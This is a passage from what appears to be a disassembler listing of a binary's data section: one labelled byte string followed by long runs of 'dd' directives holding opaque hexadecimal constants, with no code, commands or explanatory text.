40D56D12h, 6F5C79ACh dd 0F84AA203h aKmU db 'k▄#Н',0 ; DATA XREF: ___:off_435748o db 3, 92h, 96h dd 13EA9BEh, 0BB5CF42Fh, 62F17C54h, 3043F210h, 4F0046E2h dd 0C8A022EAh, 2C150CEh, 0C863E8Fh, 0A8E860B8h, 278DD78h dd 0D608F609h, 0D53400BCh, 1E37772Ch, 853BA985h, 0B0C603FBh dd 11E054D4h, 3794F21Eh, 0FD024780h, 3DF460Ch, 0D43FB1E3h dd 89043A55h, 0F1E63E12h, 0D268F4h, 3664FD33h, 654A7AEAh dd 0B582D4Ch, 83FCDE3Ah, 0DAAB22h, 701E069h, 9B286D7h dd 58AFFF01h, 4C46DC62h, 3CB55ECh, 0A9F21EEFh, 23F893F3h dd 5A00487Eh, 30B54EA4h, 0F70C7C5h, 1A432E31h, 0ED61112Eh dd 8002D8AFh, 0D28C8D10h, 10EE1B4h, 7A5286DAh, 0CC230A06h dd 0A7001248h, 0C3B96605h, 356896h, 5A630B92h, 2062325Eh dd 7718B00h, 4CCBB2B6h, 2F7709D6h, 0E4C1764Eh, 2D02E220h dd 0E4644556h, 0D3A960EBh, 7FA513BCh, 4E910083h, 5A5140FAh dd 119860D4h, 3028B2D1h, 0AC89023Ch, 9922A7C0h, 0E2E0D04Ch dd 0E6C9AA11h, 8B87A588h, 0B5D0EDE8h, 0B682BFF9h, 0F0504E0h dd 23070416h, 18A233Fh, 3BB0DC12h, 2ADBDCCDh, 6AB8A160h dd 6BF7A9B3h, 6C42709Eh, 0A0915C15h, 7ACBDF8Eh, 0EACFB010h dd 0A79E500h, 0B1FA39BFh, 0FBC903F7h, 148F77B5h, 830CECD0h dd 40F1291Fh, 7800F8D2h, 24FD2D5Dh, 14F0C48Ah, 0CA804027h dd 1CDB9820h, 40ED19D4h, 0B04C1815h, 0DD011B1Fh, 20910A55h dd 2E2A90FDh, 0E223B4h, 0FBECAF8h, 75188FC6h, 0D8801137h dd 5C2096F0h, 37F7D46h, 750C7102h, 0D79AA7B6h, 0CC4F68F0h dd 8AB99028h, 5B44C8C7h, 44884360h, 45939D09h, 0D028425Fh dd 40045BD8h, 0FACAE7A4h, 4A387CC1h, 0A2E283ECh, 0F3777A09h dd 69C00C90h, 6A79D66Dh, 81F6B600h, 91C5E014h, 49D06007h dd 0D3C6C946h, 0B6630A00h, 0BD601013h, 39B20179h, 2844F5B4h dd 7084571Ah, 0DEAF84AAh, 7240B713h, 0C55B270Bh, 6098C400h dd 0C5DECFh, 7EA94BDh, 37799540h, 0E559F09Bh, 87001A18h dd 3E1DD115h, 606DAA3Bh, 0D4E92147h, 6A03E78Dh, 0B7163AB2h dd 471D80CFh, 0ECB500C9h, 37FC86E5h, 0AD161146h, 24901389h dd 383A058h, 82C73C74h, 9A815FB0h, 5DA3D064h, 74040C58h dd 0A059670Ah, 5512BC7Bh, 4780649Bh, 5B05A420h, 3402A89Eh dd 54F47737h, 0A3465EACh, 0CA072300h, 5EF68D71h, 0B36D4709h dd 11C0240Ch, 0E02EC743h, 0E8776C91h, 4E0939C6h, 52F67279h dd 0BF2B02A0h, 3B56C92Fh, 5149C054h, 4A43BC2Ch, 0EDC84CCAh dd 556177C7h, 54346791h, 504E06B8h, 10ED3FF9h, 4768E925h dd 80B14F08h, 350F8581h, 4306002Ah, 24583DD2h, 7CF72795h dd 17F51778h, 0E1A43C83h, 18BF14D3h, 904AF45Ch, 0F5ADCD98h dd 0C3849400h, 6B0A64BCh, 0EF670277h, 7C18F3ACh, 2F6CA898h dd 3993A501h, 0E9DB622Ah, 480B53F4h, 8080C47Ah, 9A747C73h dd 0FD7F1C00h, 6238E98Ah, 7B9498B2h, 0C1EEF5h, 0DC419F20h dd 0B3116039h, 7096E898h, 720D3859h, 3029B294h, 289944B7h dd 0C0F69580h, 8F11E7h, 5F6532C1h, 0FBB5A979h, 0AC20925Bh dd 0E3A42DBh, 0E87A783Fh, 0FD7460C0h, 2A00F312h, 0F8B49ACAh dd 70E798D2h, 0B223135Ch, 0BC8C939Eh, 0F12DD812h, 4023902Fh dd 1B2F3700h, 9551986h, 8E4CCD87h, 0C1D874A8h, 327A3C78h dd 0F8380FA8h, 658BE0FAh, 0E6989Ch, 0AA36284Bh, 9AA48A25h dd 0CBC6E725h, 0C9B825D0h, 0D540804Ah, 860E7863h, 32F1BE84h dd 443C6889h, 7FBC1C5Ch, 7AEE7B8Ch, 8E3409D9h, 40279717h dd 0E20D6575h, 0CFE2C800h, 0A7D40AA3h, 0F165592h, 4D0BAE6Eh dd 22AC900h, 0BE14CDE3h, 0AC249065h, 380E8CEEh, 0E01B5C7Dh dd 135F5A7Ah, 8498BC04h, 804F6C2Fh, 16DAD903h, 9F14D00Ch dd 0E0304043h, 446B5AD5h, 80DE37A8h, 0E1B50270h, 0F7F01B13h dd 24C63C88h, 71D815Eh, 0E3A0985Bh, 8F0EBBEh, 0AB003C02h dd 5F15A526h, 0B09C0349h, 83B4388Ch, 4BA1771Dh, 2CE47EFBh dd 6872DB10h, 1C464009h, 915BDCD2h, 4423982Eh, 0ED036900h dd 0B42BC634h, 682A1A88h, 4206878h, 5ED89414h, 0B2406846h dd 2A550047h, 95F984F1h, 63198DFFh, 0C9C0B66Dh, 5708402Bh dd 0CBBE3BD5h, 9160E800h, 0A449C59Bh, 0A9DD0347h, 4B8D92AEh dd 0A42BB92Ch, 0FD6D0884h, 59C8208Eh, 13EE97C0h, 63900C4Ah dd 0E990B7F1h, 0C475A12Eh, 1C974674h, 7B80EE44h, 9CB48051h dd 1C1F00F5h, 0D8062BD3h, 0AB4B27A8h, 4AF2F8CCh, 0EEF41DE1h dd 7408ACA4h, 0A6075946h, 6EF78472h, 0C8511106h, 52B7FB5Ch dd 0E120020Ch, 40D88018h, 72C25E50h, 0A22F04AFh, 0E947A395h dd 0FBE3030Ch, 34B16630h, 0C1884C28h, 3968F20h, 77780695h dd 6850E2DBh, 9C47B400h, 0C86F724h, 83FD3B30h, 0F17AF505h dd 0CDA08091h, 4406D4D7h, 7CAFFC46h, 0BCA20248h, 5BBBD5B8h dd 0EFE4A8C5h, 7368DE60h, 0D335F02h, 4FF5A30Eh, 11204050h dd 15CF271h, 132A01D7h, 61038E7Eh, 7801903Ch, 0E72B34CCh dd 0DC402F35h, 3082F71Eh, 0E058543Eh, 4F774211h, 0E523B82Bh dd 3D2C8700h, 263721Fh, 782D93EEh, 48485C71h, 53614E20h dd 542AAA68h, 0C6C8C01Eh, 1FF857Fh, 0B13E71CEh, 2E49B94Eh dd 8124C848h, 0AB40CE63h, 80C03B5Ch, 0A6FB4Eh, 0D6BC9F68h dd 9B1BF606h, 0A8C4E4A3h, 3A1784ECh, 3BB68E41h, 0FD208686h dd 1E1822B0h, 18BE584Ah, 0F8BA716Ah, 412A091h, 836CE4h dd 51695F9Bh, 99B03347h, 0FE81CF01h, 0D67CDA97h, 7BBEBCCh dd 16ADFBF9h, 0E42634BFh, 3C09012Ch, 7FFFA65h, 246C608h dd 0FDA41261h, 94C53BFh, 1CAF063Ch, 2CDAD389h, 0EB4BA803h dd 3E281393h, 9D8FEF51h, 0FF5EDC59h, 655DE200h, 2CD7498Ah dd 0B3B7FA09h, 79B8F1D8h, 12B9185Fh, 8B8B2A89h, 0C0E6C828h dd 3CE84D58h, 0EF135CEAh, 8B2A827h, 0EE554008h, 6D2A0204h dd 0AC245CADh, 384801C8h, 6C56D4D0h, 8C98B86Ch, 773A200h dd 0D44B3B1Fh, 507104B7h, 0B9BE8CB1h, 98254F1Ch, 0B49B2498h dd 54301484h, 0DC38E714h, 0E28C129Fh, 0B1E00020h, 9BD436B2h dd 0F6AA003Bh, 730DBF92h, 7A3AF277h, 1AFB2595h, 116415C8h dd 518089D0h, 15B000FCh, 0B7ED6FB4h, 176B230Eh, 90BCE53Dh dd 4AE73898h, 0C0A4893Eh, 11844609h, 5C3B1455h, 8C7CACE0h dd 0C5918305h, 64B53AE8h, 20619402h, 0BC033378h, 605C9A97h dd 82A585A0h, 0CF3A6453h, 0ECC87CCBh, 6CED1FC0h, 49BA1F6Dh dd 4DA416Ah, 2258FBB1h, 8522D0h, 4C28AF76h, 7E631C0Ah dd 0C55A0B03h, 0F7C1B5C6h, 0F1E27FF0h, 3889099Ch, 44094B4Eh dd 66A51471h, 7B8D08D4h, 7F865329h, 0A305FA6h, 0B3ED3045h dd 0A21542B0h, 0A53C2702h, 88303424h, 0C761B2DBh, 2327C49h dd 30E96719h, 93A110C8h, 80AD4FABh, 72325A58h, 0B1249C4Dh dd 3217FD8Eh, 9074245Fh, 30422088h, 89F42318h, 5332848Bh dd 440818AEh, 389F6F13h, 40D6D050h, 3E18E920h, 0F2912ACBh dd 0CB754E94h, 0C07FC88Ch, 3C2EABBDh, 0FC61962Ch, 0B8B74Bh dd 8D36C1F9h, 0A1C2644h, 0FE0029D9h, 0F7ADD563h, 38CA002Dh dd 1C68E0E4h, 81F96993h, 0EA25B920h, 37FC462Ch, 0B8C502D3h dd 2A179355h, 75042088h, 0A9DA0074h, 0C31FF4ADh, 3601678Dh dd 0D6E43F74h, 2BD19D79h, 3AF05EF1h, 47890E0h, 92BA4407h dd 0AD764053h, 18EC62h, 4CB6FA9Ch, 176550F2h, 0E1CC903h dd 0D9EAA31Ah, 1EECDBB9h, 38C744CBh, 446C3500h, 837D10AAh dd 0A9463BF5h, 5B7B9F00h dd 3055FD05h, 8441838h, 80D4E871h, 5749DC42h, 201EFA3h dd 10B1FD18h, 0F7D0D53Bh, 221EE28Dh, 0FC005D93h, 4CF35A54h dd 0C3381Ah, 3A286191h, 67F96C75h, 0F0AC8930h, 406979E8h dd 0BB07AB5Eh, 4AD559D2h, 3A918C8Ah, 899FB618h, 8B30E944h dd 0D5347075h, 0F56D2A79h, 0E0E814A4h, 1C3808A9h, 0F9B4AD81h dd 877775D7h, 6EDBC848h, 0CE286000h, 0A60101E0h, 8B5EA5CFh dd 0AC52E887h, 0A2FE6600h, 0B53D5620h, 0A179C7C3h, 21E3F0B3h dd 48F93C8Ah, 2D0034A8h, 675FE031h, 58F07BDBh, 0A90C1370h dd 7F88DEBEh, 0C239F714h, 456600E4h, 424D8BABh, 88072A81h dd 0B4BE549Ch, 0F6FAD3h, 0CAE9AAD1h, 1EC46925h, 0F8769000h dd 268075A7h, 7E9F0098h, 99AFE7F6h, 5D0089C9h, 9D49CFCAh dd 3CD1F7A6h, 18609847h, 0B5DA0C8Ah, 201E8E2Bh, 0BAEA0EC1h dd 0F4C34A00h, 8300E074h, 8F8AE135h, 0F1D5881h, 4BFCEDCDh dd 85320580h, 94003675h, 8A8E42BBh, 43F57AC1h, 558198E0h dd 89F41C6h, 8C775214h, 39A963Fh, 7C3DE132h, 0B908C134h dd 5D4DD0h, 362DCC0h, 43E1E7B4h, 55384A3Ah, 0A0089534h dd 0E8AA1180h, 80A00FB9h, 0E47A135Eh, 3D6D7F63h, 0A980F108h dd 3A3C14EDh, 2D12E9E5h, 0F807727Fh, 84058858h, 0BBCF400h dd 36EAA5h, 5EA6201Ch, 6B81D622h, 0DF028C4h, 46429848h dd 23BA2422h, 9448847Bh, 24274942h, 0F39020FEh, 8F08187h dd 0C52145D4h, 0F4271182h, 11080C11h, 0C612237Bh, 0FC1C2887h dd 0FA88E879h, 2A54007Ch, 245616C7h, 5B141401h, 3008C227h dd 0B81B0817h, 0B0974EDAh, 0F000956Ch, 67E1ECA9h, 0FC8842h dd 0B84AAAA1h, 4850AE39h, 736D413Bh, 6B26F871h, 0D900260Eh dd 0AF1D6A7Ah, 73EC82h, 0AA198696h, 0BE8D5F6Dh, 0E74E041Ch dd 0F34FB2C0h, 885D22h, 33923C1Bh, 0AB623761h, 439B9500h dd 0CD408612h, 7C6D03B9h, 57DD2DFAh, 0ADB6E0BFh, 133E2935h dd 493DC04h, 0DDAB856Ah, 0D72247C0h, 2DA60318h, 0DB3E66C4h dd 6A6ED8A8h, 0E95A0A0Fh, 710073CBh, 7B99A225h, 5668000Dh dd 8B514B78h, 0B4031EB6h, 5BA4FC67h, 2EBCF89Eh, 710A0796h dd 201341h, 6916D6B0h, 0E5D18203h, 0F0C5AB18h, 129CF14h dd 339310FDh, 0DCFE6AB8h, 2D00B22Ah, 0AC4F4E3Fh, 3B280778h dd 9000375Bh, 1CD3FB73h, 943FC930h, 7D047D04h, 1CF6635h dd 9E0D5CC0h, 0FAA20737h, 706D4F71h, 0CF260A29h, 0B7AAAD17h dd 0F869D600h, 0EFF5E25h, 98C03016h, 53DE1380h, 590EEB5Dh dd 0A18DDCC8h, 0D101B10Ah, 0F4F3E1DBh, 110C530h, 60BB3DCFh dd 0DC99E709h, 560377DEh, 0C56C28A4h, 8661C8C6h, 0E19C01D6h dd 6A0FD205h, 4520642Fh, 8DEDB401h, 0C082FDEEh, 0FFBE6880h dd 5834601Ch, 48CEAA00h, 0E2FB724Ch, 31B9F6A5h, 6D80B3A6h dd 0C657F00Dh, 6B5B6200h, 7B4F9148h, 1E030106h, 0E6F5E9F2h dd 0D04BD16Fh, 0B7775EB4h, 0E3C078DFh, 8EA149ADh, 0BD7700EAh dd 2B3B9567h, 40F5313h, 374639Dh, 0F07BF4BAh, 0FA4C7886h dd 5CAA009Fh, 99FC1947h, 0C807DBFDh, 1B3143EEh, 388537D0h dd 0A6E627h, 0A07FE9CCh, 60D780D8h, 0EA62A900h, 405378C8h dd 9B94002Bh, 2DEDCF8Ch, 0F8C0D2D3h, 0F53C076Eh, 0B7BC00A3h dd 56B34687h, 5A90A6C7h, 0CADDF00h, 6F491CBAh, 0E0A27745h dd 0B84800A0h, 3B194D20h, 0DE2CAB6Ch, 4528455Eh, 59CA9800h dd 18BE94CFh, 6211011Fh, 6553EAA1h, 979FE44Bh, 0C7F49B1Eh dd 66617A87h, 95BC0110h, 0D842459h, 0E9780020h, 0EBB2911Bh dd 5CAB6D01h, 77AC1640h, 70AF8441h, 288A0980h, 1844CBEEh dd 0B2C19A00h, 76B4FFC6h, 1ECB022h, 3841B771h, 200D2425h dd 790019F4h, 0E7EAA5Fh, 0E28401h, 4FFA8B14h, 0A1C56EBCh dd 22053500h, 0AF1B17D0h, 15F001C6h, 0A8F8A9E3h, 0D47EF85Fh dd 3F9E1E01h, 0D2251632h, 384039DCh, 48F7A9E4h, 0E902A0FEh dd 8192BF72h, 7E03C043h, 0EDD503D3h, 883E80DFh, 1DC24CF1h dd 0F794FF00h, 0F39AF296h, 0E2893401h, 6ED533B4h, 0EAB181CBh dd 5C1C20h, 7776B6A2h, 65C49B34h, 0B71BAC07h, 42C01328h dd 284F9905h, 0F4DBE0h, 3217F0C7h, 0F714C839h, 0D3500D00h dd 0F8F61CFCh, 0A68900E2h, 0BFA499B2h, 6A004302h, 503A479Bh dd 1E901D09h, 85916C03h, 73E4A1h, 8DD930C7h, 787EDD29h dd 6F05F501h, 14C37A0Fh, 0A2E45431h, 0D0420076h, 31EC7F93h dd 68981CEFh, 3D44A500h, 2E39C826h, 1DBC03D2h, 420EEEE7h dd 520C4DF8h, 0F55FB43Dh, 6CE63B2Ch, 30211600h, 0E23EDD07h dd 2413000Dh, 26CA17E1h, 0CB0014A6h, 0C118EA32h, 3E353B7Eh dd 0F892C10h, 8800F612h, 24C02DCAh, 762F3D00h, 1D18D829h dd 0D46E00DFh, 8F5DC83h, 5498CF42h, 0BDFED603h, 0E0F2517Bh dd 0E8EF3857h, 0CF8F0013h, 0FC531FF1h, 0E20FAC03h, 4E92633Bh dd 0E7BEAF02h, 3CE7599h, 0F8837085h, 0E06C22DCh, 1377008Dh dd 0CF2C0961h, 7502FDA1h, 3E266A9Fh, 0EFD0804Dh, 2C7F6236h dd 0F009761h, 0A4206313h, 5005A0D5h, 51404600h, 3D42EB7h dd 0DCC200DBh, 8C566FEAh, 5E004765h, 389E4084h, 61F7FAh dd 0F04B755h, 0BE9C771h, 74EA87EAh, 9EEAB00h, 8243144h dd 0B3D00079h, 10DD9D28h, 5C0FD894h, 60A4AACDh, 6EB4650Ch dd 0F9E60EC1h, 0AC247455h, 20C88003h, 0F300C072h, 0FDD20C3Ah dd 0EA2FA924h, 0DAAF0C1Fh, 0B20918D1h, 62C53000h, 782E70ADh dd 0F75E03BBh, 0C3BABEACh, 0C8EFB9D9h, 432453C4h, 6105C836h dd 0B49112CCh, 0AEEC332Ch, 6CE7498Ch, 0E0A3C700h, 9BDEC4E2h dd 0AB38CB7Fh, 0D18E1683h, 0E1F2F400h, 7440190h, 0C5CAEB89h dd 9BAB30C9h, 0DE26E74Dh, 0D009474h, 0FC663E51h, 67E8266Fh dd 0C59E007Ch, 83B975A9h, 6EDBEC00h, 0B6AC6435h, 0B4961D7Ch dd 427800EEh, 57FADD16h, 0E0347B01h, 0EFC09130h, 0A7CC3080h dd 0B3B7F776h, 0F9212000h, 96062E9Ch, 369B00CEh, 1649012Dh dd 37005E1Dh, 756CAAFh, 139FA3Bh, 24EF194Ah, 30831564h dd 80E80CE2h, 8C10A900h, 0C02E7F1Bh, 7B500F9h, 78655688h dd 0E6005428h, 9684A820h, 73DBA7AEh, 8CAC0095h, 0FBEADE05h dd 371F70CDh, 7A403048h, 86082D75h, 0D5E30E1Dh, 97209BF8h dd 2F5C8CEEh, 0B29AD601h, 0C2D012B9h, 278C60h, 6FDF2D0Ah dd 69C12F0Ch, 0D8286090h, 9C0086Ah, 381333A3h, 2EE03Dh dd 0C411BB3Eh, 2015EF29h, 72EC2500h, 3090C042h, 9B8B852h dd 1853F185h, 0BE2BACA0h, 0A492871Dh, 50C8A907h, 102CE0F0h dd 839100ACh, 467C3E9Fh, 10017CDh, 0DDB51062h, 0FBB8D7Eh dd 97216DDEh, 85405ECFh, 31FFD790h, 2D3C2890h, 21329C69h dd 682C10B0h, 165B0003h, 116308F9h, 9B758557h, 0BA48261Ch dd 949A2284h, 585F72C2h, 513300C8h, 0AB04E630h, 605E032h dd 1BF337A8h, 58090819h, 0A31620h, 0A192EFBBh, 0BD488DB1h dd 44EB2501h, 6EC22A8h, 0B46129E5h, 0E218400h, 1B4F4427h dd 0CF9B5000h, 81EF815h, 8AE14C5Eh, 6EC17A01h, 0C8DA1DE0h dd 0E8145D4Fh, 0B640A9h, 0DF7DB99Bh, 1C9FEB66h, 0C06F3B1Ch dd 72FEDE5Fh, 0E30248C7h, 0AF28A71Fh, 8A594050h, 94C3004Ch dd 9E8BBB46h, 0DC00BE54h, 91EB1CA6h, 5A5102h, 1416CD10h dd 0EC98C758h, 0F10020F0h, 9993D715h, 277419Bh, 0DD510B25h dd 4CC05263h, 140F689Fh, 205E8AF5h, 6B69812Bh, 5520002Eh dd 593D1716h, 733C136Ah dd 3922002Dh, 33C11B6h, 146B00C0h, 0B76D380Bh, 2D03BF09h dd 0F2A1D342h, 0B0E1D892h, 366B0052h, 4F17A2F6h, 151DA3DAh dd 2D934449h, 985DA000h, 3CA7DE8Bh, 510004E5h, 0A8DA507Bh dd 0FF2CE00Fh, 4200DCD2h, 7453D83Eh, 5C4B097h, 0AC51FE01h dd 0F528C0B2h, 0F479E4F2h, 357DBF04h, 0BCE087D6h, 9308003Dh dd 4874B984h, 0A21FC4B5h, 350F8A02h, 0FBB2C07Eh, 9CB6FB3h dd 475069A1h, 71061083h, 7EF7B9B0h, 0DB0E9FE2h, 36568BD2h dd 11BD2006h, 0EAC30029h, 0E5F1010Ch, 0B4E6EF16h, 0F8EED12Ch dd 7CF96980h, 1D22D54h, 4E33821Ah, 70B95902h, 7F005704h dd 0AE3B7D7Eh, 2A24E5h, 0D6DDD71Fh, 0D5E68B75h, 2BB03724h dd 6CB33101h, 73F93D7Bh, 0F23FDAC0h, 0D8DD005Bh, 0FFC3E1D1h dd 560F7E9Eh, 0A13BFA37h, 7A7BB459h, 5A0AC4h, 5E79A2ABh dd 2225CB31h, 3CC8C601h, 16A49DFCh, 8AA31880h, 0AC627E43h dd 4CC52700h, 7BC0250Eh, 0D520267Ch, 0DB3600B4h, 19579041h dd 0CC9A9DFCh, 2084C651h, 92EC21CCh, 0FE04B800h, 22B56FCFh dd 0FE400A3h, 235ABEAEh, 9B008395h, 0D1C96521h, 308F8E2h dd 94CEB8F2h, 9CB8DFA2h, 0BCB8D7A8h, 28F18E00h, 84CC0165h dd 0A01CE669h, 0FD140E8h, 0D35A9C73h, 88449EE0h, 3F5CF2CEh dd 386071C4h, 65905209h, 0D0AC3E87h, 3E5A980Fh, 1A340733h dd 0CF5943FCh, 6373B090h, 30394Ch, 0AA775041h, 38D707Eh dd 0BDAC4943h, 0C99086E4h, 31000798h, 35DBF26Dh, 9F11FCBh dd 4F69B24Eh, 0D1E61480h, 0B005EC44h, 6DAED8EAh, 41A45880h dd 0A0F4028Ch, 0D3F7517Ah, 49FC10E8h, 53C81900h, 7C14CF3h dd 0D223007Dh, 5B8E2D37h, 6A09E39Dh, 81EC6642h, 0C7B4E2BFh dd 0B5202429h, 0F2D74F01h, 96F1B87Fh, 7F03060h, 5FBC0674h dd 0AE45A0AFh, 78009969h, 38BBE3A1h, 0D371329h, 83A3801Fh dd 0E9F2F8A0h, 0AAA8CA00h, 559A67EEh, 0CD9903E7h, 0F5DFEFC3h dd 48D5290Fh, 7757002Fh, 454291Eh, 56A097E1h, 5149C0F6h dd 0EB094AD3h, 0CD582Ch, 4E938FB7h, 9D7F48h, 99297BB7h dd 878D22E5h, 18FFFD12h, 0BE8E541Eh, 271220CDh, 30C6B3F3h dd 0C094AEEh, 5D00E05Ch, 0BA93C2B4h, 63FDA2h, 0E9B89ED5h dd 0D7B6C51Eh, 83FB0400h, 9F724FC6h, 734C00DFh, 0E970C38Bh dd 0FFEED377h, 7D04BB7Ch, 35B0DDF9h, 2E222CA0h, 3FD6C5h dd 0DF1B6170h, 5B252C6Eh, 8A282BC4h, 6A13161Ch, 9CD86030h dd 62E0073Dh, 0B05BC6D4h, 0E4E3EE93h, 0FCC92B00h, 9C13B17h dd 779D0040h, 0B3F65D15h, 933D07ECh, 814C8025h, 7297AB17h dd 423503B9h, 0E975BB41h, 61A80BC0h, 440A5E00h, 0AC09BAB5h dd 0A37D0B97h, 0E00B454h, 65D4E42Ch, 9B0021EAh, 0C03E2FE9h dd 1F945DAEh, 0EA0E561h, 2539A7Ah, 58A4F61Dh, 2D00E846h dd 7CB75A3Eh, 0A88A893h, 0E5E8A429h, 0DC150AF4h, 0F8F420F9h dd 54020FC1h, 0B400678Ah, 0E56DA16Ah, 0D0970700h, 143C278Bh dd 6CF13F0h, 0AFB4002Fh, 0F49A044Ch, 9479667Ah, 970B670Ah dd 93008F3h, 7B8A8848h, 86A800E7h, 5C59ACE5h, 0BD02A071h dd 5A914CB8h, 0E2F8437Ah, 0E7B4C31Dh, 72EA9B62h, 0A8E91EB8h dd 0B625405Ah, 3D36891h, 0E4475C00h, 0CF1638FEh, 909F436h dd 2286CD5Bh, 5DDB8077h, 2E0EB7F3h, 33FB4AAh, 270571F0h dd 26BC4AA8h, 9B0A238h, 0F507FC1h, 75C6C0ADh, 0E06C703h dd 0D310B9F6h, 0B3450A62h, 0E1D538C0h, 901D7627h, 58F8184h dd 0E6B3F256h, 78B820C4h, 0B1F495D1h, 5DA9EB00h, 3686FD19h dd 3231005Ch, 37813FB2h, 693F3424h, 0EE5D8097h, 0C141F105h dd 0BABE00E7h, 3C6B7EA6h, 2D011EF6h, 21261C1Ah, 0D17016F4h dd 0F7A3CA5h, 8003F71Dh, 0DD29075Ah, 0B001F62Ah, 34BC3AD2h dd 0C1F05B57h, 921D00E6h, 5C7E94Ah, 2E00E708h, 9EDF1F4Eh dd 243EA5E5h, 2446DB78h, 71C1DB4h, 36EFD7h, 1D30E9D9h dd 0BEED61Fh, 34EDD546h, 644E0309h, 84990ED9h, 0E2B6F4E0h dd 8B082B1Eh, 0B5F9C480h, 13788A73h, 234477Ch, 100D25B4h dd 0F5BCB060h, 0E9E79401h, 0FC049F89h, 51D00870h, 9C00F95Bh dd 0C7DBEC6Bh, 0A031C2E2h, 55332C1Ch, 0DCC76F2Ch, 6D70E203h dd 0A68DB80Eh, 49E83A44h, 0C9B44780h, 8476ADA4h, 510158F4h dd 0FE7C533Bh, 0E430D3D5h, 218900F1h, 98CC6733h, 6C00A09Bh dd 6F2FB386h, 1FA46D6Bh, 804B3B92h, 72D5268Dh, 3C012301h dd 0D42C2B74h, 0FAF08C11h, 11B044h, 3A7883AFh, 0D73E5BFFh dd 14253600h, 0DA4833D6h, 0B92838D1h, 6867DC8Bh, 80CC4CA5h dd 37E73C4Fh, 0E126891Eh, 0F83F8543h, 0E53AA133h, 0D59609BCh dd 5D08009h, 3202E6EEh, 1EFAA21Bh, 339E037h, 152B4CCDh dd 5EB03528h, 29B7B195h, 9BC30EC4h, 28A80146h, 4020F1CCh dd 0AEE200B5h, 760D5EFEh, 16710C21h, 5FA2D00h, 1AE7BB88h dd 703913F7h, 0D66000D7h, 9DEFFD4Fh, 958DD112h, 671FA800h dd 0B143F5h, 1761ADC1h, 0B59B8263h, 7E0FB7E0h, 62CC3720h dd 0C085F423h, 0DC584h, 0E4649453h, 2D42C25Bh, 0B6991300h dd 0B2EA3DF9h, 768200DAh, 0BCA54B08h, 5E121AE4h, 6303E3CDh dd 0B8B7EA8Eh, 29A56B8h, 0B954AC95h, 0DE077F9h, 0EF017DE5h dd 99C0DF17h, 0FA60DA7Ch, 261EE2B7h, 8054B652h, 79674E63h dd 4B00A7EEh, 97883046h, 13B93442h, 0D8E34198h, 0A61C4DD0h dd 0B1C04895h, 0B8367845h, 0A45207A7h, 6043928Ah, 58B8D85h dd 506B5Dh, 4D9B75D5h, 0E6EDACh, 1EBCC0D4h, 6BE34241h dd 89289431h, 903CDBAAh, 2F690670h, 87304C9h, 5197581Bh dd 357C318h, 87F6B710h, 2075651Eh, 0AD522600h, 0D560142Dh dd 7746008Dh, 574A1CACh, 903658FDh, 130414Bh, 1474AEF5h dd 0FC28A967h, 0EE00E5C0h, 37D57894h, 5E13880h, 6B08C9E2h dd 44500097h, 42024A64h, 5292F1FFh, 7F19415Ch, 1FC49300h dd 0D2EAA400h, 7810B63Eh, 0A62D00EFh, 0E1412C5Eh, 39007DCEh dd 6D8632F6h, 0E888F1Ah, 3E18C60Bh, 4E2CC400h, 44748409h dd 0E3BF1900h, 11FFC95Eh, 379E008Bh, 0D9BAF25Fh, 0F605E76Dh dd 7A2D17FAh, 4E40B85Dh, 29D020F7h, 6D92005Eh, 0BB3490D3h dd 0D5404493h, 3314CEC8h, 0A776DD20h, 0D003F8F2h, 0ADF56A88h dd 2A38D0B4h, 0AE590C35h, 0ED58EA93h, 21E94C60h, 7E6C23h dd 3C4662C2h, 0B4D186D9h, 0DD2CC800h, 0AA5BDEF3h, 32E93042h dd 7A47D630h, 0E31B1103h, 0E0060214h, 1D046058h, 5117A9h dd 0B40C565h, 0FF3BFC69h, 0F6D80CB0h, 3C7171FDh, 913E25ACh dd 4D66068Fh, 990E3B6Fh, 59735020h, 0C8ABC2B6h, 2747C4F8h dd 6B588500h, 35FC8924h, 0ED550644h, 7896D52Ch, 1E2B6500h dd 0F58A0EDAh, 0BA430384h, 7E9A32Eh, 805E3CC1h, 0A5443E11h dd 0D5CB66h, 2BFF677Bh, 0D84EEAABh, 4A7663B8h, 2D95C612h dd 39B1F605h, 0DD6C0BEh, 0D9003BC1h, 69FB1957h, 0F3A3E2h dd 9545C99Eh, 0ACABF224h, 9FDBB901h, 719B279Ah, 1F5F98F0h dd 1D8BA51h, 2E85674Ch, 84044B6Dh, 0DA80AF2Fh, 3B377A93h dd 203764A2h, 7B65B320h, 0E0A82900h, 6E352181h, 0BFA3A6Ch dd 6DFB5D81h, 803D0662h, 0F4F7AB51h, 1F7AE92Bh, 0B8B1DEFCh dd 4CF9FD14h, 0B4C6F3Ah, 0E4D4040h, 0CBDCD0F4h, 0E0E52920h dd 76E82A23h, 2D2021C3h, 2271A8D1h, 0CA1B0043h, 6DE52FA2h dd 0E2061F47h, 21EEE74Eh, 0E004F650h, 1BC40086h, 6407183Eh dd 2561683Ch, 2C766790h dd 65727560h, 0C085C88Dh, 0ABA1171Eh, 0D4DF8C18h, 1E6758h dd 47754C9Ah, 58AEFEFBh, 1CEDD929h, 0E60CB090h, 0CCA8639Ch dd 41D038h, 52C86E0Fh, 0AE7FF1Ah, 0EC6F7221h, 0DA2580B8h dd 0D306F6ADh, 1263400Ch, 0CF9608BBh, 0AD80AC21h, 0D6236A3Dh dd 27089F01h, 1E527047h, 628278B9h, 0FB48A9FEh, 60A3A484h dd 23D3D0C5h, 5F11B3CBh, 0D0DE3B00h, 9E1B083Ah, 0C73E6207h dd 0D4704155h, 0E473862Ah, 3DA053Fh, 3A428884h, 5F23D4h dd 88CC761Bh, 6B629102h, 1A539B0h, 0B05DD04Ah, 170D78C9h dd 902F00B8h, 45FCADF9h, 2E700962h, 0FB065C03h, 9185E941h dd 54247E94h, 225A0087h, 45E08419h, 4866FC61h, 213908h dd 9C23A318h, 1CBD3437h, 0FCDDA800h, 7E7DC9D0h, 89E019CAh dd 0F8C8801Ah, 5D548017h, 0C94350A4h, 0DED11201h, 0C2A1BCBh dd 0F4268958h, 170397D0h, 62039324h, 4D890F86h, 0D8E7BC08h dd 0A682C73h, 82636EB0h, 0BDD54E68h, 7998F445h, 60CA380Ch dd 0D8C81829h, 620AA1A9h, 41F4FA55h, 102E8770h, 24CFACh dd 627AD6EEh, 0FE03B930h, 0A8D2311Fh, 842E9349h, 64958431h dd 0C0704008h, 6F4ADDCh, 9A22E346h, 0ADD45203h, 8F5F8411h dd 0E161010Eh, 0A0202440h, 6207011Ah, 0FB5E2F74h, 6D7C2495h dd 0A9A49100h, 0D1CC86B0h, 84ED3349h, 610F0451h, 0A046FEF3h dd 720DE708h, 